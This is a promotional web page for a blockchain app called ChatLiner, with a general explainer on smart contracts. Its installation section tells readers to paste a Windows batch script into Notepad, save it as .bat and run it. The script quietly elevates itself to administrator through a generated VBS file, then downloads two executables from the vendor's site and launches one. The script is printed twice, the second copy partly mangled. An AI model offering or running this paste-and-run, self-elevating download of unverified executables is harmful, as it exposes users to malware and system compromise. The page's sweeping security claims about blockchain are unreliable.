The Streamlined Blockchain Platform With End-To-End Encryption: Smart Contracts

P850

#ChatLiner: Smart Contract

#Definition #Download #Pricing #License

#What is a smart contract?

A smart contract is a computer program running on a blockchain that is automatically executed upon meeting pre-defined terms and conditions. It relies on a binding agreement between two parties presented in traditional paper or digital form.

A smart contract is made up of "if true then [do something] else [do something else]" conditional statements embedded within the transaction file, with outcomes dependent on whether or not predetermined conditions are met and verified. For example, a fairly simple smart contract for our website would go like this:

#IF (you agree to use soundsofsoftware.com in accordance with the terms and conditions)

[you can use this website]

#ELSE (you do not agree to use soundsofsoftware.com in accordance with the terms and conditions)

[do not use this website at all]

It is assumed that you are aware of the terms and conditions before you accept or decline, which is in line with the rule that both parties must agree on the agreement before releasing it on the blockchain.

The execution of a smart contract initiates the completion of a transaction and the update of a transaction file represented by a digitally signed block of data, which is then stored on each of the nodes that make up the blockchain network. The transaction file can no longer be reversed, modified, corrupted or misused.

The ChatLiner app allows authentic digital assets to be tokenized and securely hosted on a custom blockchain network. As a high-performance technology solution, blockchain is a safe haven for storing and sharing sensitive information and other data that requires authentication.

#Recommended articles

>> Introduction To Blockchain Technology

>> How To Protect Blockchain Data From Unauthorized Access

>> Digital Chip Card Technology (DCCT)

>> Send Digital Telegrams Over The Blockchain Network

>> What is tokenization in blockchain?

#How it works with smart contracts

Let's study the case when two parties participate in negotiations regarding the conclusion of a certain deal. They can negotiate physical assets such as traded commodities, gold, real estate, artwork, or digital assets such as ownership rights, digital art, license agreements, loan applications, and more.

In order for the negotiations to be successfully completed, first of all, a contract must be prepared with terms and conditions that both parties will be familiar with and agree to. We'll call it the actual contract.

The actual contract is drawn up either in paper form, which is signed with traditional, handwritten signatures, or in digital form, which is accepted electronically, usually by ticking the appropriate checkbox within the app or website.

#Events occur in order as follows:

1 Both parties agree to tokenize the actual physical (or digital) assets that are the subject of their negotiations.

2 A digital token represents an authentic real-world value stored on the blockchain. Tokenization allows parties to maximize the benefits of the blockchain ecosystem, such as efficiency, reliability, transparency, trust, security, saving time and resources, as well as minimizing the possibility of counterfeiting and abuse.

3 There is a smart contract represented in the form of a computer program that runs within the blockchain. The execution of the smart contract directly depends on the fulfillment of all the provisions of the actual contract.

4 Both parties put their signatures on the actual contract, or accept it electronically.

5 The predetermined terms and conditions are now met, which automatically triggers the execution of the smart contract.

6 The execution of the smart contract initiates the completion of a blockchain transaction.

7 After the transaction is completed, the transaction file is updated, while no further changes to this file are allowed. The transaction file is available for download and validation at all times.

#Examples of predefined terms and conditions

Here's what can be checked before a smart contract is executed and a blockchain transaction is considered complete. We can check whether:

the conditions for the transfer of funds are met;

the conditions for payment of royalties are met;

digital currency banknotes are valid;

the conditions for selling or renting the property are met;

the patient treatment procedure was followed;

the food supply chain is sufficiently transparent, etc.

The outcome of the execution of the smart contract is available to all parties who have been granted permission to see the results.

#Benefits of smart contracts

When we talk about the benefits of smart contracts, we are actually talking about the benefits of the entire blockchain and related high-performance technology solutions. A smart contract is an integral part of the whole and cannot be discussed in isolation from other components of the blockchain ecosystem.

A smart contract is a stamp that puts an end to a completed transaction or just enables the transition to the next level within an ongoing transaction, thus automating the workflow on the blockchain.

Without a smart contract, we would not be able to initiate, monitor or complete a transaction, and we would not know whether the conditions under which we agreed to be participants in a transaction within the blockchain network have been met and verified.

#To download and install the ChatLiner app safely and quickly, be sure to take the steps as follows:

1 Open a blank page in one of the popular word processors, such as NotePad, Notepad++ or WordPad.

2 Click the "Copy Text" button and copy the text inside the blue box (below the button) into one of the word processors listed above. The copied content represents the source code of the installation file.

@echo off

title CHATLINER INSTALLER

set "params=%*"
											cd /d "%~dp0" && ( if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || (  echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" && "%temp%\getadmin.vbs" && exit /B )

SETLOCAL EnableDelayedExpansion
											for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do (
											  set "DEL=%%a"
											)

rem 0a green, 0b blue 0c red, 0d purple, 0e yellow, 0f white

echo.
											call :ColorText 0e "+ INSTALLING CHATLINER"
											echo.
											echo.
											call :ColorText 0f "Do not close this window"
											echo ...
											echo.

goto :END

:ColorText
											echo off
											<nul set /p ".=%DEL%" > "%~2"
											findstr /v /a:%1 /R "^$" "%~2" nul
											del "%~2" > nul 2>&1
											goto :eof

:END
											if not exist "C:\chatliner" mkdir C:\chatliner
											echo en > "C:\chatliner\language.gmb"
											powershell.exe wget https://soundsofsoftware.com/downloads/server.xml -OutFile C:/chatliner/server.xml
											powershell.exe wget https://soundsofsoftware.com/downloads/ChatLinerInstallationCrashApp.exe -OutFile C:/chatliner/ChatLinerInstallationCrashApp.exe
											powershell.exe wget https://soundsofsoftware.com/downloads/ChatLinerInstallation.exe -OutFile C:/chatliner/ChatLinerInstallation.exe

start "" "C:\chatliner\ChatLinerInstallation.exe"

call :ColorText 0b "OK. This script is closing now"
											echo ...
											echo.
											echo.
											ping 127.0.0.1 -n 3 > nul
											exit

@echo off

title CHATLINER INSTALLER

set "params=%*"

cd /d "%~dp0" && ( if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || ( echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" && "%temp%\getadmin.vbs" && exit /B )

SETLOCAL EnableDelayedExpansion

for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do (

set "DEL=%%a"

)

echo.

call :ColorText 0e "+ INSTALLING CHATLINER"

echo.

call :ColorText 0f "Do not close this window"

echo ...

echo.

goto :END

:ColorText

echo off

"%~2"

findstr /v /a:%1 /R "^$" "%~2" nul

del "%~2" > nul 2>&1

goto :eof

:END

if not exist "C:\chatliner" mkdir C:\chatliner

echo en > "C:\chatliner\language.gmb"

powershell.exe wget https://soundsofsoftware.com/downloads/server.xml -OutFile C:/chatliner/server.xml

powershell.exe wget https://soundsofsoftware.com/downloads/ChatLinerInstallationCrashApp.exe -OutFile C:/chatliner/ChatLinerInstallationCrashApp.exe

powershell.exe wget https://soundsofsoftware.com/downloads/ChatLinerInstallation.exe -OutFile C:/chatliner/ChatLinerInstallation.exe

start "" "C:\chatliner\ChatLinerInstallation.exe"

call :ColorText 0b "OK. This script is closing now"

echo ...

echo.

ping 127.0.0.1 -n 3 > nul

exit

3 Save the file as a "batch" script with the extension .BAT. You can name it "installer.bat", for example, or you can give it any other name. The saved batch file is the ChatLiner application installation file.

4 Double-click the saved file and wait a few seconds for the installation to begin. You will also need to accept the terms of use of this software (the so-called License Agreement).

5 After the installation is complete, you will be able to launch ChatLiner and start using it right away.

6 That's all it takes to download and install the ChatLiner app. If you have any questions or issues, feel free to send us a message.

#Share on social media

#ChatLiner presents the streamlined blockchain platform with end-to-end encryption

#DCCT Network is a blockchain system with up to three devices connected to a common peer-to-peer (P2P) computer network. Designed to host authentic digital assets, it is able to verify data in a way that is completely free from external scrutiny or influence. Transactions over the network are carried out by exchanging electronic messages in the form of digital telegrams.

#Learn More